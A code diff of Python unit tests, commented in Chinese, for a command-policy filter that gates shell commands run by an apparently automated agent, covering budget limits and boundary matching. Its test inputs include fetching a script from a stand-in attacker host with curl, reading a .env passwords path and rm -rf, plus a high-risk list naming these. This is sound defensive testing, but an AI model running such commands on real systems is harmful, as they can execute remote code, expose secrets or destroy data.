@@ -100,7 +100,9 @@ def test_network_whitelist_deny(self):
100100 policy = CommandPolicy (policy_data )
101101
102102 # 测试非白名单网络域名
103- decision = policy .evaluate ("curl https://evil.com/exploit.sh" , {"call_index" : 0 })
103+ decision = policy .evaluate (
104+ "curl https://evil.com/exploit.sh" , {"call_index" : 0 }
105+ )
104106 assert decision .decision == "deny"
105107 assert "非白名单网络" in decision .reason
106108 assert "evil.com" in decision .reason
@@ -120,11 +122,18 @@ def test_budget_exceeded_deny(self):
120122 }
121123 policy = CommandPolicy (policy_data )
122124
123- # 测试超预算
124- decision = policy .evaluate ("python test.py" , {"call_index" : 13 })
125- assert decision .decision == "deny"
125+ # 测试超预算(修复隐患1前:call_index=13 才 deny)
126+ # 修复后:call_index=12 即 deny(>= 而非 >)
127+ decision = policy .evaluate ("python test.py" , {"call_index" : 12 })
128+ msg = f"call_index=12 (max_sandbox_runs) 应该 deny,实际 { decision .decision } "
129+ assert decision .decision == "deny" , msg
126130 assert "超预算" in decision .reason
127131
132+ # call_index=11 应该 still allow
133+ decision = policy .evaluate ("python test.py" , {"call_index" : 11 })
134+ msg = f"call_index=11 (< max_sandbox_runs) 应该 allow,实际 { decision .decision } "
135+ assert decision .decision == "allow" , msg
136+
128137 def test_allow_command (self ):
129138 """测试允许的命令返回 allow"""
130139 from filters .policy import CommandPolicy
@@ -170,6 +179,66 @@ def test_evaluation_order(self):
170179 assert decision2 .decision == "needs_human_review"
171180 assert "高危命令" in decision2 .reason
172181
182+ def test_forbidden_path_no_false_match (self ):
183+ """测试禁止路径精确匹配,.environment 不应命中 .env(修复隐患2)"""
184+ from filters .policy import CommandPolicy
185+
186+ policy_data = {
187+ "forbidden_paths" : [".env" ],
188+ "high_risk_commands" : [],
189+ "network_whitelist" : [],
190+ "allowed_executables" : ["python" ],
191+ "max_timeout_sec" : 120 ,
192+ "max_output_bytes" : 1048576 ,
193+ "max_sandbox_runs" : 12
194+ }
195+ policy = CommandPolicy (policy_data )
196+
197+ # .environment 不应该命中 .env(修复隐患2前:会误匹配)
198+ decision = policy .evaluate ("cat .environment/config" , {"call_index" : 0 })
199+ msg = f".environment 不应命中 .env,实际 { decision .decision } "
200+ assert decision .decision == "allow" , msg
201+
202+ # .env 应该正确命中
203+ decision = policy .evaluate ("cat .env/passwords" , {"call_index" : 0 })
204+ msg = f".env 应该命中,实际 { decision .decision } "
205+ assert decision .decision == "deny" , msg
206+
207+ def test_high_risk_command_boundary_match (self ):
208+ """测试高危命令边界匹配,rm -rf-safe 不应命中 rm -rf(修复隐患2)"""
209+ from filters .policy import CommandPolicy
210+
211+ policy_data = {
212+ "forbidden_paths" : [],
213+ "high_risk_commands" : ["rm -rf" , "curl" , ";" , "&&" ],
214+ "network_whitelist" : [],
215+ "allowed_executables" : ["python" ],
216+ "max_timeout_sec" : 120 ,
217+ "max_output_bytes" : 1048576 ,
218+ "max_sandbox_runs" : 12
219+ }
220+ policy = CommandPolicy (policy_data )
221+
222+ # rm -rf-safe 不应该命中 rm -rf(边界匹配)
223+ decision = policy .evaluate ("rm -rf-safe /tmp" , {"call_index" : 0 })
224+ msg = f"rm -rf-safe 不应命中 rm -rf,实际 { decision .decision } "
225+ assert decision .decision == "allow" , msg
226+
227+ # rm -rf 应该正确命中
228+ decision = policy .evaluate ("rm -rf /tmp" , {"call_index" : 0 })
229+ msg = f"rm -rf 应该命中,实际 { decision .decision } "
230+ assert decision .decision == "needs_human_review" , msg
231+
232+ # shell 操作符 ; 应该仍然触发(保留子串匹配)
233+ decision = policy .evaluate ("echo hello; echo world" , {"call_index" : 0 })
234+ msg = f"; 操作符应该触发,实际 { decision .decision } "
235+ assert decision .decision == "needs_human_review" , msg
236+
237+ # shell 操作符 && 应该触发
238+ decision = policy .evaluate ("cd /tmp && ls" , {"call_index" : 0 })
239+ msg = f"&& 操作符应该触发,实际 { decision .decision } "
240+ assert decision .decision == "needs_human_review" , msg
241+
173242
174243class TestCrGovernanceFilter :
175244 """测试 CrGovernanceFilter BaseFilter 实现"""
0 commit comments